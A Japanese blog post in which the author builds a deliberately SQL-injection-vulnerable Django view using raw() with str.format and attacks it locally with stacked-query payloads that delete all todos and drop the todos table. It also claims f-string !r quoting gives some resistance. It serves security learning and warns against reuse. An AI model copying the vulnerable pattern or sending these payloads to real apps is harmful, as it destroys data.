nikkie-ftnextの日記

イベントレポートや読書メモを発信

SQLインジェクションされちゃうDjangoアプリってどう作る? ORMの代わりにrawメソッドを使って実装し攻撃してみる(よいハッカーは真似しないでね)

はじめに

ちゃんとなさい。1 nikkieです

先日徳丸さんによるやられサイトBad Todo Listで、SQLインジェクションしました。

これで湯婆婆に遭遇しても対抗できます🙌
Bad Todo ListはPHPで実装されているのですが、「これがPython、特にDjangoだったらどうなんだろう」と思い至り、少し手を動かしてみました。

目次

文献調査:DjangoSQLインジェクション

Django Congress 2019 「現場で使える Django のセキュリティ対策」

現場で使えるDjangoの教科書シリーズのakiyokoさんによる発表。
この中でSQLインジェクションについても取り上げられています2

『実践Django』(2021)

芝田さんによる書籍でも「2.6 SQLインジェクションによる攻撃を理解する」という節があります。
(この本、Djangoの知識にとどまらず、Web開発で注意すべき脆弱性も網羅されていて、めちゃめちゃ本格的です👏 オススメ)

SQLインジェクションされちゃう例

sql = "SELECT id, title FROM snippets WHERE id = '{}';".format(snippet_id)

Snippet.objects.raw(sql) と実行する実装です。
ここでsnippet_idの指す文字列が"'; DELETE FROM snippets WHERE '1' = '1"とすると(※攻撃されている)

SELECT id, title FROM snippets WHERE id = ''; DELETE FROM snippets WHERE '1' = '1'

SELECT文とDELETE文が実行され、snippetsテーブルのレコードが全て消えます😱

SQLインジェクションできちゃうDjangoアプリケーションを実装(脆弱性の作り込み)

Bad Todo ListのSQLインジェクションサポート部分をDjangoで実装した上で攻撃してみます。
脆弱性の理解を深めるため(=学習用)にやっているのであって、実際の開発では真似しちゃだめですからね!(真似したら脆弱性を作っちゃいます⚠️)

『実践Django』を参考に実装しました。

  • Python 3.11.4
  • Django 4.2.4
  • Dockerイメージpostgres:15.3に接続
    • psycopg2 2.9.7
  • django-environ 0.10.0

http://127.0.0.1:8000/todolist/ でTODOリストが見られます(Bad Todo Listと同様の例です)

SQLインジェクションの隙を作ったコードはこちら(脆弱性を埋め込んでいるので、絶対真似しないでね。使うべきはORMのfilterメソッドです)

# views.py
todo_str = request.GET["todo"]  # ユーザがフォームに入力した値を受け取る
sql = (
    "SELECT id, id_str, todo, created_date, due_date FROM todos "
    "WHERE todo = '{}';".format(todo_str)
)
todos = Todo.objects.raw(sql)

全容は以下にあります(手元でも動かせるかと思います)

Let's SQLインジェクション!

以下のようにフォームに入力すると、なんと複数の文が実行できちゃいます!(できちゃだめなやつ

パソコンを買う'; SELECT id FROM todos WHERE '1' = '1

これを利用して悪いことをしていきます(グヘヘ)
※これはローカルで動かすDjangoアプリに学習目的で攻撃しているのであって、同じテンションで公開されているアプリに適用するのは攻撃になっちゃいます。
よいハッカーは公開されているアプリに対して真似しちゃぶっぶーですわ!🙅‍♂️

全TODOをDELETE

入力する値

パソコンを買う'; DELETE FROM todos WHERE '1' = '1'; SELECT id FROM todos WHERE '1' = '1

http://127.0.0.1:8000/todolist/?todo=%E3%83%91%E3%82%BD%E3%82%B3%E3%83%B3%E3%82%92%E8%B2%B7%E3%81%86%27%3B+DELETE+FROM+todos+WHERE+%271%27+%3D+%271%27%3B+SELECT+id+FROM+todos+WHERE+%271%27+%3D+%271

検索結果には1つもTodoが表示されません。

再び http://127.0.0.1:8000/todolist/ にアクセスすると、0件表示。
レコードが消えています!

なお、今回はpython manage.py loaddata3を使ってJSONファイル(ダンプデータ)を読み込むことで、データをすぐ復旧できるようにしています。

todosテーブルをDROP

入力する値

パソコンを買う'; DROP TABLE todos; SELECT id FROM django_migrations WHERE '1' = '1

http://127.0.0.1:8000/todolist/?todo=%E3%83%91%E3%82%BD%E3%82%B3%E3%83%B3%E3%82%92%E8%B2%B7%E3%81%86%27%3B+DROP+TABLE+todos%3B+SELECT+id+FROM+django_migrations+WHERE+%271%27+%3D+%271

ProgrammingErrorが表示されます(debug=Trueにしている関係)。 http://127.0.0.1:8000/todolist/ に再度アクセスしてもProgrammingError

relation "todos" does not exist

todosテーブルが消えていますね。

入力する値の補足です。
django_migrationsはDjangoマイグレーションに使うテーブル。
ここをtodosテーブル指定にすると、rawでのSQL実行はトランザクションのようで、DROPのあとにtodosテーブルを参照できず恐らくロールバックしていて、攻撃に失敗しました。
そこでDjango製アプリに絶対あるテーブルを指定しています。

なお、こちらの復旧は以下の手順で実施します。

  1. python manage.py sqlmigrate todo 00014でtodosテーブルを作ったSQLを確認
  2. python manage.py dbshell5からSQLを実行してテーブルを作る6
  3. 上記のloaddataでデータを入れる

思ったこと

  • formatメソッドで埋め込んでいるが、f-string7だと多少耐性があるかも
    • SQLの実行で以下のエラーが送出された(削除はされなかった)
    • column "パソコンを買う'; DROP TABLE todos; SELECT id FROM django" does not exist

    • ※本質的な解決ではないと思うので、DjangoモデルのORMを使いましょう
>>> todo_str = "パソコンを買う'; DELETE FROM todos WHERE '1' = '1'; SELECT id FROM todos WHERE '1' = '1"
>>> "WHERE todo = '{}';".format(todo_str)  # 複数の文になってSQLインジェクションされる
"WHERE todo = 'パソコンを買う'; DELETE FROM todos WHERE '1' = '1'; SELECT id FROM todos WHERE '1' = '1';"
>>> f"WHERE todo = {todo_str!r};"  # formatメソッドと違って入力値の中のクオートがエスケープされる
'WHERE todo = "パソコンを買う\'; DELETE FROM todos WHERE \'1\' = \'1\'; SELECT id FROM todos WHERE \'1\' = \'1";'

終わりに

DjangoSQLインジェクションされちゃうWebアプリはどう実装するんだろうという疑問を元に手を動かしました。

  • マネージャのrawメソッドを使うとSQLインジェクションのリスクあり
  • DjangoのORMを使いましょう(SQLインジェクションの心配はなし)
    • このエントリで紹介した実装は真似しないでくださいね
    • またフォームに入力した値は、本番稼働しているアプリに適用しないでくださいね(それは攻撃になっちゃうぞ❤️)

今回のような危ないコードを実装していることはBanditを使えば気づけると聞いたことがあります8
実際BanditのリポジトリにはDjangoの例があります。
https://github.com/PyCQA/bandit/blob/1.7.5/examples/django_sql_injection_raw.py
Banditは今後の素振り材料ですね。


  1. ダイヤちゃんさんの言! 作業BGMはAbema TVで一挙配信されていたラ!サ!!でした
  2. アーカイブは21:00くらいから
  3. https://docs.djangoproject.com/ja/4.2/ref/django-admin/#loaddata
  4. https://docs.djangoproject.com/ja/4.2/ref/django-admin/#sqlmigrate
  5. https://docs.djangoproject.com/ja/4.2/ref/django-admin/#dbshell
  6. PostgreSQLCREATE TABLE todosするとtodos_id_seqというシーケンスも一緒にできるのですね(シーケンスってなんなんだろう...)
  7. Effective Python 第2版』でもオススメ「項目4 Cスタイルフォーマット文字列とstr.formatは使わずf 文字列で埋め込む
  8. PyCon Kyushu 2022 Kumamotoにて(スライド62/91。アーカイブは22:25から)